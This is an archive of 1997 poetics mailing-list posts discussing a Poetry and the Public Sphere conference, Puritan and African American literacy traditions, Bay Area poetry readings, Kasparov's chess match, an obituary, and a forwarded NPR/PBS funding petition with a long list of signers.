The Puritan/Slave connection is not, to my mind, simply coincident. Some crucial writers (crucial to me anyway) significantly receive both - the one who comes most to mind is W.E.B. Du Bois who, taught by William James at Harvard, credits James with providing him with the philosophic tools it took to produce *The Souls of Black Folk* - through James, Du Bois got basically the whole history of Puritan thought as regards reading - on its far end I'd say its embodied by Emerson's statement that grammar is "organization tyrannizing over character" something that James himself spells out more systematically in the *Psychology* by deemphacizing grammatical "substantives" (nouns, etc) and emphacizing instead words like "if" "and" "to" "but" (no coincidence either that

G. Stein was also his student). So Du Bois gets a serious education in Puritan-style poststructuralism.

At the same time he has (or discovers) the history of the relationship between slavery/post-slavery and reading/literacy. Frederick Douglas takes the words of his "master," "if you teach that nigger how to read there would be no keeping him" and simply reverses its intended value - "what he most dreaded that I most desired" - saying "From that moment, I understood the pathway from slavery." At the same time, however, he has an incredible awareness of the materiality of writing, its implication in the history of slavery and as such the scarred nature of the word, captured stunningly in that metaphor I can never get out of my head: "My feet have been so cracked with the frost, that the pen with which I am writing might be laid in the gashes." Here the Puritan suspicion that words are - for the human being - scarred and cracked (that they don't signify as intended, that they can't be read "accurately") meets an unintended double that wouldn't have been lost on Du Bois. Freedom, then, or democracy, concepts which get so much play in latter-day fromulations of Puritan antimonianism, always involves a scar. Du Bois's long flirtation with and ultimate acceptance of CPUSA seems to me to have come out of his frustration that these scars continued to be inflicted willfully (his communism - at least on the philosophic level - remained uneasy, still quoting Emerson on democracy as late as '61).

Anyway, thanks again for the post, it got me thinkin'. Baraka too, seems interesting in this context - as late as *Blues People* ('63) he's celecrating the tradition of "Western Non-Conformity" - a tradtion which of course prominently includes Puritan antinomians from Ann Hutchinson to Emerson ("Whoso would be a man must be a non-conformist") though his mid-sixties break with Greenwich Village culture would have included that tradition ("the Party of Insane Hope" as he would later call it). Ok, I'll shut up now.

-Mike.

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70. Gwyn McVay

Re: More Poetry & the Public Sphere Conf Summary (LONG)

Sun 4 May 1997

Maria,

can you say more about the Linton Kwesi Johnson/"construction of a black Britain" paper?

Gwyn

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71. Maria Damon
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Sun 4 May 1997

---

well, not too much, except that let's see, i hate to do the paper injustice thru inaccurate paraphrase: it documented the establishment of black britain as primarily caribbean (much as gates's article in the new yorker does) but then goes on to talk about the alliances that were made w/ other ethnic immigrants of color most notably south asians who were subsumed under the label "black," but never got as much airplay until, or even after, l'affaire rushdie. talked about "black britain" as a trendy import to the u.s. complete w/ theorists such as gilroy, mercer and hall... parallel to lkj's rise as first a poet then public dub poet now mostly journalist who has become disillusioned w/ attempt to do political, cross-ethnic alliance cultural work...

At 11:36 AM -0400 5/4/97, Gwyn McVay wrote:
>Maria,
>
>can you say more about the Linton Kwesi Johnson/"construction of a black
>Britain" paper?
>
>Gwyn

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72. David R. Israel
in other sports: Kasparov outwits cyberbrain
Sun 4 May 1997

Poetas,

continuing the hop, skip & jump (from hoop to tabletennis to whatnot), this just in from the cyber / human interface . . .

Kasparov Beats IBM in Game One of Chess Match

NEW YORK (Reuter) - World chess champion Garry Kasparov slowly squeezed the best chess-playing supercomputer into submission Saturday to win the first game of their $1.1 million re-match in New York.

The game began with a quiet, closed opening more suited to the 34-year-old Russian grandmaster's ability to form long-term judgement about his game plan, then exploded in the middlegame with a sacrifice by Kasparov and ended with the champion forcing home a positional advantage.

"Kasparov won this game with such finesse," said International Master Maurice Ashley of the United States, who was one of the official commentators. "His understanding of the computer's weaknesses was pushed to a higher level today."

"It was very complicated and tense," Kasparov said. "I couldn't calculate the position but I felt with these two pawns it would be enough in the endgame."

Kasparov frequently says that the machine's huge calculating powers
are no match for his vast experience and intuition about chess. The
Russian, world champion since 1985, is considered by most experts to
be the best ever player of the ancient game.

.
.....
.....
\\\

the architecture of famous buildings such as Watts Towers, he proceeded to read variously from the Foundations, Spires, Arches that comprise the work. Some of the lines I brought away with me were:

the eye may be said to be sun in another form
all men are lidless visionaries through the night
the lord is a delicate hammerer
a vaulting of arteries beating against the dark. This is the body of light
primrose abysm
at the back of it all, ardor and fire
riddle iota sublime
where heat sweats wheat for purple mountain majesties

Ron also read from a work of 67 short, dark quatrains about death and resurrection that was made into a poster with the poems arranged in the shape of a pyramid. These poems packed quite a punch, too.

Others in the spellbound audience included MC Adam Cornford, Andrew Joron, Charles Smith, Kevin Killian, Cliff Gassoway, and Kush. Some 6 of us retired to Picaro afterwards and chatted over tapas. Ron said it took him 20 years to write ARK, but wouldn't tell me how old he was when he started.

Friday night (also at New College but this time via Small Press Traffic) Dale Smith returned from Austin to read with Joanne Kyger. Dale read newer work including stuff influenced by his reading _Anna Karenina_. The list of lines includes:

love's embarrassing lack of eros
there is no fair way to love death
the fine product of an age incapable of itself
the blunt jolt of breath pushing out at you
I fear the music fizzles [through?] space
learn to connect and think not
no self? I am a little uptight, if you want to know the truth

Host Dodie Bellamy reintroduced us immediately to Bolinas' Joanne Kyger, who read us her New York and Buddhism-inspired work, such as:

Ahoy! Electronic nightmare! [a poem addressed to the television, of course]
new-age metaphysical smoothies
constant creation of self is a tricky mess
the nothingness bound to get sucked into the bag
[Joanne's description of NY skinny-left-margin poets working: "Bang!
Bop-a-bop. Bang! Bop-a-bop"]
all of a sudden the space between raindrops was filled with rain

but what about hoarding ideas and feelings?
Ouch! bangs shin on buddha

The audience included Stephanie Baker and Nicole at the door, Kevin Killian on lead Tab, and Renee Gladman, Elizabeth Robinson, Steve Dickison and Tina Rotenberg, Michael Price, Sarina, Duncan McNaughton, Charlie Palau, Rob Hale, Tom Stolmar, Ed Ainsworth, Etel Adnan and Simone Fatel (my spelling undoubtedly needs help here) overdubbing handclaps.

Duncan and Jean McNaughton hosted a lovely gathering at their new Mission home after the reading.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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74. henry gould

Re: More Poetry & the Public Sphere Conf Summary (LONG)

Sun 4 May 1997

Thanks for wonderful, thorough reports from Amittai & Maria. Glad to hear Charles Bernstein is a new formalist. If he finds a stable identity he can join the Providence School. We're publishing a Prov School anthology in 1978 - watch for it - focusing on poetic/political problems from a red shift perspective.

From where I sit today, the issues of poetry & literacy seem less interesting than the connection between poetry & storytelling & mythology. Maybe it's just the pale green appearing on all the trees now. It's Persephone, Orpheus in the land of the dead. Nativerican mythology is full of Orpheus stories. It's Dylan's basement tapes. Poetry doesn't feed your liberation it possesses you. You can vote for literacy, that's fine: the literate poet will continue to write form letters on stock themes. It's something else, not power, not convention. It's in between Authority (sleepwalking) and Will (sleepwalking). It's a big wind, I say. Beyond who's in charge or who's down under. Plot. Drama. Story. Recognizing its human power in this way will help see what it MIGHT mean in a political sense. Sing, sing along in sing-sing... - Henry Gould

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75. Maria Damon (Maria Damon)
Re: Re; More on the Poetry and the Public Sphere Conference
Sun 4 May 1997

aa sez:

> *One other thing I left out in the last posting. When Altieri posed that challenge to Tricia Rose and Charles Bernstein, Bernstein responded (better than Rose, I thought) by talking about purposeful _frauds_ in the history of poetry. It may have been at that point that he said the sentence that Hass later quoted, "Poetry fakes nothing actually." It was either there or in his talk about the Difference that Poetry Makes. Well, it was a running theme. I don't _really_ think that testimony/witnessing really _does_ fit in with the idea of poetic fraud (even if we consider such "holy frauds" as the Deuteronomic corpus)--i.e., you're not supposed to _know_ that it's a fraud, if it is. That was the point that the two of them didn't want to get into very much, since it's something of an irresolvable question, I think.*
>
> *Amittai*

again we remember differently: it was my memory that altieri got up, said he had a question about tricia rose's paper, and then asked charles bernstein to respond!! fond as i am of charlie, it seemed to be precisely that kind of erasure of black female subjectivity that we need some...retooling of...? in other words, charles was specifically called on to speak FOR tricia, after the question had been posed, ostensibly, to her --so no wonder he struck you as more articulate than her; it was a set up, albeit unintentional.

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76. Maria Damon (Maria Damon)
Re: con-text
Sun 4 May 1997

At 8:52 AM 5/5/97, Aldon L. Nielsen wrote:

> *but it's important to know that these two have been associated for decades -- I first met Algarin through Baraka's introduction -- and many of Baraka's short plays have been produced at Algarin's performance space --*

yes. this was a fun brawl between old friends more than anything else, and not something to get all hand-wringy about. md -ps who's hoxa?

↑ Index

77. manny savopoulos
SAVE NPR (petition
Sun 4 May 1997

Please read this VERY IMPORTANT petition! I hope you will then sign it and pass it along to everyone you know. We've got to be active in saving these important institutions! Please sign! Thanks!

This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/ year of their taxes, a petition follows. If you sign, please forward on to others (not back to me). If not, please don't kill it -- send it to the email address listed here:

[redacted]

PBS, NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as "unworthwhile". Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $.64 a year in total.

A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding.

Each year, the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. Each subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October

1.The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard.

Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs.

If you happen to be the 150th, 200th, 250th etc. signer of this petition, please forward a copy to:
[redacted].

If that address is inoperative, please send it to:
[redacted].

This way we can keep track of the lists and organize them.

Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

1) Elizabeth Weinert, student, University of Northern Colorado, Greeley,CO
2) Robert M. Penn, San Francisco, CA
3) Gregory S. Williamson, San Francisco, CA
4) Daniel C. Knightly, Austin, TX
5) Andrew H. Knightly, Los Angeles, CA
6) Aaron C. Yeater, Somerville, MA
7) Tobie M. Cornejo, Washington, DC
8) John T. Mason, Dalton, MA
9) Eric W. Fish, Williamstown, MA
10) Courtney E. Estill, Hamilton College, NY
11) Vanessa Moore, Northfield, MN
12) Lynne Raschke, Haverford College, PA (originally Minnesota)
13) Deborah Bielak, Haverford, PA
14) Morgan Lloyd, Haverford, PA 19041
15) Galen Lloyd, Goucher College, MD
16) Brian Eastwood, University of Vermont, VT
17) Elif Batuman, Harvard University, MA
18) Kohar Jones, Yale University, CT
19) Claudia Brittenham, Yale University, CT
20) Alexandra Block, Yale University, CT
21) Susanna Chu, Yale University, CT
22) Michelle Chen, Harvard University, MA
23) Jessica Hammer, Harvard University, MA
24) Ann Pettigrew, Haverford College, PA
25) Kirstin Knox, Swarthmore College, PA
26) Jason Adler, Swarthmore College, PA
27) Daniel Gottlieb, Swarthmore College (but truly from Lawrence, KS)
28) Josh Feltman, Tufts University, MA
29) Louise Forrest, Massachusetts Institute of Technology, MA
30) HongSup Park, Massachusetts Institute of Technology, MA (originally from
Portage, Wisconsin)
31) Ana Sandoval,Massachusetts Institute of Technology
32) Katherine Navarrete, Massachusetts Institute of Technology

33) Mandisa Washington, Massachusetts Institute of Technology
34) Stephen Balzac, San Francisco, CA
35) Howard Yermish, Los Angeles, CA
36) Danielle Yermish, Los Angeles, CA
37) David S. Lefkowitz, University of California - Los Angeles
38) Frank S. Albinder, San Francisco, CA
39) Read S. Sherman, Harvard Divinity School
40) Stephane Lemelin, Cambridge, MA
41) Thomas Ouellette, Cambidge, MA
42) Richard Russell, Cambridge, MA
43) Nella Wennberg, Jamaica Plain, MA
44) Eric Smith, Jamaica Plain, MA
45) Alex Graham, Boston, MA
46) Dean Wei, Chicago, IL
47) Luisita Frances, Chicago, IL
48) Roy Vella, Stanford, CA
49) Alan Hellawell, Mountain View, CA
50) Timothy A. Scott, San Francisco, CA
51) Albert M. Yeh, Mountain View, CA
52) Susan Yeh, Seattle, WA
53) Jonathan Payne, Seattle, WA
54) Cena Pohl, Seattle, WA
55) David Perk, Seattle, WA
56) Robert Srygley, Seattle WA
57) Katarzyna S. Kubzdela, Chicago, IL
58) Katy Human, Stanford, CA
59) Erica Fleishman, Reno, NV
60) C. Richard Tracy, Reno, NV
61) Kenneth E. Nussear, Reno, NV
62) Christopher R. Tracy, University of Wisconsin, Madison, WI
63) Kristin Komives, Carrboro, NC
64) Jennifer Goldman, Chapel Hill, NC
65) Darcy Leach, University of Michigan, Ann Arbor, MI
66) Van Luong, University of Michigan, Ann Arbor, MI
67) Aurora M. Sherman, University of Michigan, Ann Arbor, MI
68) Paul O. Stern, Seattle, WA
69) Erika Tapman, U. of Vermont College of Medicine
70) Opher Donchin, Urbana, IL
71) Prof. Pamela Cosman, University of California, San Diego
72) Ari Levitt, University of Washington, Seattle, WA
73) Nathan Martin, Berkeley, California
74) Lynn Price, Kensington, California

75) Leslie Shown, Kensington, CA
76) Mike Boals, Berkeley, CA
77) Wendy Boals, Berkeley, CA
78) Effie Westervelt, Tiburon, CA
79) Mary Burns, Taos, NM
80) Karen Page, New York, NY ([redacted])
81) Gary Holleman, Bemidji, MN ([redacted])
82) Tim Rosa, Newton, MA ([redacted])
83) Doug Hersh, Sherborn MA ([redacted])
84) Ruel Little, Somerville, MA ([redacted])
85) Stefan Wennik, Andover, MA ([redacted])
86) Melissa Walia, SF, CA ([redacted])
87) Tracy Brown, SF, CA ([redacted])
88) John T. Miller, SF, CA ([redacted])
89) M. Todd Davis, SF, CA ([redacted])
90) Michael Demetrios, SF, CA
91) J. Marc Perrin, NY, NY ([redacted])
92) Alyse Daberko, NY, NY ([redacted])
93) Jessica Guertin, Washington Univ. St. Louis([redacted])
94) Ellen Watson, San Francisco, CA
95) Bridgitt Arnold, Seattle, WA
96) Erica Yenni, Seattle, WA
97) Kerri Karvetski, Seattle, WA ([redacted])
98) Mark Butler, Seattle, WA
99) lazlow jones, long beach, ny [redacted]
100) Laura Bykowski, NYC, NY [redacted]
101) Amy Stettler, NYC, NY [redacted]
102) F Ben Dana, Burlington, Vermont
103) Bill Dahill-Baue, Brattleboro, VT
104) S. Ryan Quick, Yale University, New Haven, CT
105) Jerry Anne Dickel, Yale University, New Haven, CT
106) Donald Beebe, Yale University, New Haven, CT
107) Stephanie Seery, School of Theology at Claremont, CA
108) Katherine A. Johnson, Baltimore, MD
109) Cynthia J. Halstead, Burke, VA
110) Ronald Northrip, Falls Church, VA [redacted]
111) Jane Levandoski, University of Delaware, DE
112) Denise J. Hills, University of Delaware, DE
113) David P. Sobel, College of William & Mary, VA
114) Amey T. Sadler, College of William& Mary, VA
115) Donna M. Livingston, Woodbridge, VA
116) Karen A. Morris, Burke, VA

117) Michael E. Perdue Atlanta, GA
118) David Cour, Washington D.C.
119) Katie Sergent, Washington D.C.
120) Nathan Sewell, Nashville, TN
121) Peter Eby, Nashville, TN
122) jeff taraday, seattle, WA
123) Julie Taraday, Seattle, WA
124) Stephanie Cooper, Seattle WA
125) Kailen Mooney, Seattle, WA
126) Dylan Clark, Univ. of WA, Anthropology, Seattle 98195
127) Daniel Simons, University of Washington, Seattle, WA
128) Kirsten Wild, University of Washington, Seattle, WA
129) Barbara Busetti, University of Washington, Seattle, WA
130) Leslie Macchia, Mountain View, CA (└────┘)
131) Kris Wollenhaupt, San Jose, CA
132) Ann Bowers, Palo Alto, CA
133) Sue Tysko, Palo Alto, CA
134) Liza Schmeltz, San Jose, CA
135) Judith Schweikert, Palo Alto, CA
136) Joan Wylie, Palo Alto, CA
137) Marcia Pugsley, Palo Alto, CA
138) Daryl Davis, Palo Alto, CA
139) Amy Gerstein, San Francisco, CA
140) Christian Holden, San Francisco, CA
141) Stephen Divenere, San Francisco, CA
142) Karen Yetman, San Francisco, CA (└────┘)
143) Christine D'Elia, San Francisco, CA
144) Rachel Bredemeier, Cambridge, MA
145) Karin Horlbeck, Cambridge, MA
146) Mark Bourne, Cambridge, MA (└────┘)
147) Norm Slocum, Weymouth, MA (└────┘)
148) Carol Hughes, Boulder, CO (└────┘)
149) Susan Hagg, San Francisco,CA(└────┘)
150) Dante Landucci, Bethesda, MD (└────┘)
151) Ann Dannenberg Rosen, Newton, MA
152) Elena Conti, Cambridge, MA
153) Brent Richter, Rowley Ma
154) Libby Jones, Rowley, MA
155) Kitkoon Chan, Pleasanton CA
156) Dennis Crayon, Boston, MA
157) Claude R Labbe, Boston, MA
158) Jeffrey M. Klapes, Lynnfield, MA

159) David E. Knudsen, Somerville, MA
160) Chris Ann Matteo, New York, NY
161) Scott G. Williams, Austin, Texas
162) Linda Wiencken Williams, Austin, Texas
163) Lucinda Martin, Florence, TX
164) Karen E. LeFevre, Austin, Texas
165) David E. Soileau, Austin, Texas ([redacted])
166) Kirk P. White, RN, MSN, Austin, TX
167) Lisa Rogers, Austin, TX ([redacted])
168) Shelley Brown, Denver, CO ([redacted])
169) Deborah Chandler, Loveland, CO ([redacted])
170) Linda Temple, Oklahoma City, OK ([redacted])
171) Tom Temple, Oklahoma City, OK ([redacted])
172) Gage Evans, Denver, CO ([redacted])
173) Kara M. Van Horn, Denver, CO ([redacted])
174) Carmelia Dyer, Boulder, CO ([redacted])
175) Douglas Goldman, Boulder, CO ([redacted])
176) Eugenie Georgas, Boulder, CO ([redacted])
177) Michael Birdsong, Boulder, CO ([redacted])
178) Todd Arbetter, Boulder, CO ([redacted])
179) Marika Holland,Boulder, CO ([redacted])
180) Adriene Hughes, Brighton, MA
181) Andrew Myerson, Brighton, MA
182) Lucila De Alejandro, San Diego, CA
183) Robin Taylor, San Diego CA
184) Shelly Diaz, NYC, NY
185) Beth Davidson, Incline Village, NV
186) Jon Paul Davidson, Incline Village, NV
187) Kate Glanz, Durham, NH
188) Filson Glanz, Durham, NH
189) Dehan Glanz, San Francisco, CA
190) Justine Reese, San Francisco, CA
191) Carl Bettag, San Francisco, CA
192) Eugenia Lean, Los Angeles, CA
193) Nicole Huang, Berkeley, CA
194) George Krompacky, Yale University, CT
195) Peter Carroll, Yale University, New Haven, CT
196) James Carter, New Haven, CT
197) Eagle Glassheim, Columbia University, New York City
198) David S. Frey, Columbia University, New York City
199) Ellen B. Umland, Bay Village, OH
200) Susanna D. Kopchains, Hawthorne, NJ

201) Mark Margaretten, Denver, CO
202) Jon L. Leland, Mill Valley, CA
203) Steve Blumenthal, San Francisco, CA
204) Paula Mantel, Honolulu, HI
205) Gaile Sickel, Honolulu, HI
206) Robert Wolfson, Fairfax, CA
207) Shams Wm. Kairys, Oakland, CA
208) Donald Halley, New Lebanon, NY
209) David Iman Adler, New Lebanon, NY
210) Robert Barris, Highland Park,
211) Janet Karpus, Kalamazoo, MI
212) Terry Macak, Kalamazoo, MI
213) Lynne Aspnes, Ann Arbor MI
214) Lorna Haywood, U of M Ann Arbor MI
215) Robert Debbaut, Salt Lake City, UT
216) Kaye Ramsey, Salt Lake City, UT
217) Timothy Jones, U of T San Antonio TX
218) Eugene Dowdy, UTSA, San Antonio, TX
219) Lawrence Stomberg, Truman State University, Kirksville, MO
220) Lisa Stomberg, Colorado School of Mines, CO
221) Paula Lynch, Laurel Springs, NJ
222) Cara Kendric, Philadelphia, PA
223) Deborah Conger Hughes, University of Washington, Seattle
224) Dean Heerwagen, Univ. of Washington, Seattle
225) Mark Clayton, College Station, TX
226) Mardelle Shepley, Bryan, TX
227) Mike Blair Bryan Tx ([redacted])
228) David Lucey Oakland, CA
229) Ted Rallis Davis CA. ([redacted])
230) Leigh Ann Giles, Davis CA ([redacted])
231) Kamala Crompton, Sebastopol CA ([redacted])
232) Patrick Kelly
233) Alan J. Hiller ([redacted])
234) Mitchell D. Klein ([redacted])
235) Nicholas Wulfekuhle
236) Andrew Downes
237) Kelly Bowers, Washington DC
238) Thomas Unger, Alexandria, VA
239) Dwight Gibbs, Alexandria, VA ([redacted])
240) Selena Maranjian, Alexandria, VA ([redacted])
241) Lynnette A. Simon, Cambridge, MA ([redacted])
242) Susan Martin, Acton, MA([redacted])

243) Kenneth Lord, West Hempstead, NY ([redacted])
244) Christopher Vickery, Holliswood, NY ([redacted])
245) Christopher Winters, Stamford,CT ([redacted])
246) Paul McIsaac, New York City ([redacted])
247) John Douglas, Charlotte, VT ([redacted])
248) Norio Kushi, Shelburne, VT ([redacted])
249) JoAnne Kushi, Shelburne, VT
250) Allan Balliett, Shepherdstown, WV ([redacted])
251) Michael Reilly, NYC, NY ([redacted])
252) Cindi Weiss, Hoboken, NJ ([redacted])
253) Sam Cohen, NY, NY
254) Kathryn Mintz, NY, NY ([redacted])
255) Brad Greenquist, LA, CA
256) Helga Schier, LA, CA ([redacted])
257) Kimberly Burns, LA,CA ([redacted])
258) Laurel Cook, NY,NY([redacted])
259) Todd Gitlin, NY, NY ([redacted])
260) Norris McNamara, Chicago, IL ([redacted])
261) Scott Diamond, Chicago, IL
263) Scott Black, Oak Park, IL
264) Linda Marquardt, Oak Park, IL
265) Daniel Marquardt, Oak Park, IL
266) Robert Ginsburg, Fayetteville, Ar
267) Susan Jenkins, Fayetteville, Ar
268) Dianne Schlies, Albuquerque, NM
269) Paul Schlies, Albuquerque, NM
270) Bob Dickey, Portland, OR
271) Elizabeth Dickey, Tucson, AZ
272) Timothy Mayhew, Farmington, NM
273) Marjorie Robertson, Arlington, VA
274) Deron Hurst, Arlington, VA
275) Erika Warner, Arlington, VA
276) Nancy Ward, Arlington, VA
277) Heather Podlich, Washington, DC
278) Lillian Rice, Washington, DC
279) Nicole Dannenberg, Washington, DC (originally from Sunnyvale, CA)
280) Suzanne Isack, Washington DC
281) Iracema de Moura Castro, Washington, DC
282) Tom Sander, Cambridge, MA
283) Peri Smilow, Cambridge, MA
284) Marc Johnson, Cambridge, MA and NY, NY
285) Patty Lyons, Chicago, IL

286) Tom Mula, Chicago, IL
287) Denis O'Hare, Brooklyn, NY
288) Derek Anson Jones, Brooklyn , NY
289) Karole Dill Barkley, New York, NY
290) Vivian Hunt, Cambridge, MA
291) Sengal Selassie, New York, NY
292) Patience R. Singleton, Washington, DC
293) Deneta A. Howland, Takoma Park, MD ([redacted])
294) Rana Dershowitz, New York, NY
295) Maria Politis, New York, NY
296) Anthony Pasca, E.Northport, NY
297) David Schliecker, New York, NY
298) Cynthia Schliecker, Madison, WI
299) Matthew Bazan, Madison WI
300) Samir Sugathan, Western Kentucky University, Bowling Green, KY
301) Seamus Mulryan, Beloit, WI
302) Amos Blanton, Beloit, WI
303) Brad Blanton, Stanley, VA.
304) James Goldstein, North Potomac, MD
305) David Torrealba, Washington, DC
306) Evan Eller, Annapolis, MD
307) Melaina Eller, Washington, DC
308) Jonathan Morris, East Haddam, CT
309) Veronica Morris, East Haddam, CT
310) E.Richard Brown, Los Angeles, CA
311) Steven P. Wallace, Los Angeles, CA
312) Robert J. Squires, Los Angeles, CA
313) William F. Donaldson, Buffalo, NY
314) Absalom S. Kotulski, New York, NY
315) Rick E. Kotulski, Corbett, OR
316) Louann Wakefield, Corbett, OR
317) Tawnya Napoli, San Francisco, CA
318) Carla Lease, San Francisco, CA
319) James Austin, San Francisco CA
320) Diane Whitmore, San Francisco, CA
321) Margaret Weber, Chicago, IL
322) Kathryn H. Cummings, Lakewood, OH
333) Lawrence J. Taylor, Lakewood, OH
334) Kimberly Cummings, Jackson Heights, NY
335) Nina Kauder, New York City, NY
336) Juliana Luecking, New York, NY
337) Richard Ford, Santa Monica, CA

338) Tamara McDonough, Los Angeles, CA
339) Vince Gatton, Los Angeles, CA
340) John Starr, Santa Monica, CA ([redacted])
341) C. Davey Utter, Venice, CA ([redacted])
342) Gary Allen, Santa Monica, CA
342) Barbara J. Toennies, Santa Monica, CA
343) Tom Bliss, Sherman Oaks, CA
344) Lynn Karpinski, San Diego, CA
345) Michael Haskins, San Diego, CA
346) Bill Bailey, San Francisco, CA
347) David Cusick, New York, NY
348) Andrew Livanis, New York, NY
349) Emmanuel Savopoulos, Albany, NY

↑ Index

78. aerialedge
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Mon 5 May 1997

"OLD LEFT"?
we need more of it
"baloney"?
i'm an e-mail vegan
"theory"?
what maria said
"Amiri"?
an amazing artist

well poetics, whaddya think -- was it Kevin Davies said poetry is rhetoric on the edge of a blackout. . .

i'd be interested to hear other reports of baraka at rutgers.

goodnight

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79. Bob Grotjohn
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Mon 5 May 1997

> *Thanks for wonderful, thorough reports from Amittai & Maria. Glad to hear Charles Bernstein is a new formalist.*

I thought he was a nude formalist, but maybe the impurer has knew close.

↑ Index

80. Rob Hardin
Lou Stathis, RIP 5/4/97
Mon 5 May 1997

To whom it may concern:

Lou Stathis, editor and author, died between twelve and three a.m. on 5/4/97. There will be a wake on Tuesday and a burial Wednesday. All sincerely interested friends are welcome to write for more information.

All best always,

Rob Hardin

PS: Lou was the editor of Reflex, the pulp series for ReSearch, the DC Vertigo line, and the author of the experimental music review column in the 70's French-inflected comic, Heavy Metal. (His column's influence was the only lasting effect of that enterprise.) He was also the author of several whipsmart essays on alternative culture.

Among those he helped were Samuel Delaney, Kathy Acker, John Shirley, James Ellroy, David Wojnarowicz, and lesser lights such as yours truly. He taught generations about alt culture and what's more, he was kind, sarcastic, and never spoke of his own work when he had the chance to mention other writers.

Your suffering is over,
but the rest will be remembered.
Sic itur ad astra.
No conduit can be lost.

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

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81. Kenneth W Sherwood
Ronald Johnson
Mon 5 May 1997

Interested to read of RJ performance just after setting down ARK on the desk. Steve, Kevin et al, I wonder how you heard the 'historic epic' disclaimer--I hear plenty of affinity (if not influence) of Zukofsky in Ark, if not the dense history of Cantos/Max/Patterson. What do we do with a non-historic epic? Music as much as ark-i-text-ure seems to undergird the poem.

Anyone else reading ARK at present? Anyone know if RJ is coming through Buffalo/Toronto area? I've not even heard a tape of him reading.

Ken Sherwood

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82. Gwyn McVay

Re: More Poetry & the Public Sphere Conf Summary (LONG)

Mon 5 May 1997

>>>I thought he was a nude formalist, but maybe the impurer has knew close.

No, no, the in-peerer has new cloaks.

Gwyn

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83. Amittai F. Aviram

Re; More on the Poetry and the Public Sphere Conference

Mon 5 May 1997

Thanks, Mike Magee, for very interesting comments about Puritanism, Antinomianism, literacy, William James, Frederick Douglass, and W. E. B. Du Bois. Your comment about Baraka's career (and attitude towards things "Western") coincides well with my own impression that he was much better when he was LeRoi Jones--not a very popular opinion these days, I dare say. In fairness, I must say that Baraka _was_ witty at times--his reading was not without wit. It's just that the bullshit outweighed the wit, for me.

Maria, yes, we have very different impressions of the difference between Algarin and Baraka. Granted, I came in late. But I very distinctly remember Algarin saying, "We need new theories ... we need theories ..." while being interrupted and sniped at by Baraka. My impression was that Baraka felt that there was enough "theory" in classical CP-style Marxism--history is a history of class struggle, etc.--that "theory" in the sense of poststructuralism was just a lot of bourgeois claptrap. That was quite consistent with his general anti-academic and anti- intellectual tone throughout both his comments (the ones I heard) and his reading. So I really have no idea why you thought Algarin was anti-theory and Baraka pro-theory. It's not that either one was anti or pro, it's that Algarin was for innovativeness in theory (90s) whereas Baraka thought we had damn well enough theorizing forever, and we should just get on with the molitov cocktails.

Baraka was yelling so loud that I wore foam-rubber earplugs (fortunatly still in my very bourgeois blazer pocket from the ultra- bourgeois plane ride), so I could hear him as _loud_ after I put the plugs in but didn't have to suffer permanent hearing loss.

Somebody else asked me to elaborate on the paper about _HOW(ever)_. The gist of it was that the magazine provided a _hypertext_ before the electronic technology was available to make it happen in the current sense. The magazine was short and printed on paper, stapled, so it was very cheap to subscribe. It contained notes about the work presented in a general way (called ... ugh! ... I forget ... something like "In Question" or something--Brian, help!), and above the specific literary texts were "Working Notes," either by the author or the editors, either thematic or biographical or both, or artistic in some other way. The notes whose name I can't remember would start on the first page and be continued later, surrounding the literary texts. The whole thing was put together by a collective. So the authorship was multiple but not totally effaced. There were all sorts of interactions among the texts on the pages.

As promised, I'll try to cover the rest of the conference shortly--perhaps after I finish the undergrad papers or something. Anyway, I totally agree with Maria (!) about Eliot Katz. Eliot Katz was the "warmup band" for Sonia Sanchez and then Robert Hass. They were all wonderful in very different ways. Katz is, indeed, a "Ginsberg epigone" as Brian said, but he has even more self- effacing humor than Ginsberg, and a kind of freshness and cheerful exuberance that I found quite enchanting. In the center of his reading was a long, Ginsbergesque (but very funny) poem directed to the 20th century and urging it, oratorically, to hurry up and die already. It was quite hilarious, but also very poignant, as he recalled many of the horrors of the 20th century, both on the large scale (the holocaust) and personally (relatives of Katz's lost in the holocaust; friends of Katz's who died of AIDS or committed suicide). This last--the references to young people dying of disease or suicide--formed a powerfully poignant allusion to Ginsberg's _Howl_ and _Kaddish_. The whole poem--and the others-- were quite ingenious at the same time as they were very compelling.

One other thing I left out in the last posting. When Altieri posed that challenge to Tricia Rose and Charles Bernstein, Bernstein responded (better than Rose, I thought) by talking about purposeful _frauds_ in the history of poetry. It may have been at that point that he said the sentence that Hass later quoted, "Poetry fakes nothing actually." It was either there or in his talk about the Difference that Poetry Makes. Well, it was a running theme. I don't _really_ think that testimony/witnessing really _does_ fit in with the idea of poetic fraud (even if we consider such "holy frauds" as the Deuteronomic corpus)--i.e., you're not supposed to _know_ that it's a fraud, if it is. That was the point that the two of them didn't want to get into very much, since it's something of an irresolvable question, I think.

Amittai

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84. **Mark Prejsnar**
Re: SAVE NPR (petition
Mon 5 May 1997

My personal opinion is that NPR/PBS probably AREN'T worth saving. Many folks I know refer to 'em as Corporate Public Broadcasting, and with good reason. Mark P.

On Sun, 4 May 1997, manny savopoulos wrote:

> *Please read this VERY IMPORTANT petition! I hope you will then sign it and pass it along to everyone you know. We've got to be active in saving these important institutions! Please sign! Thanks!*
>
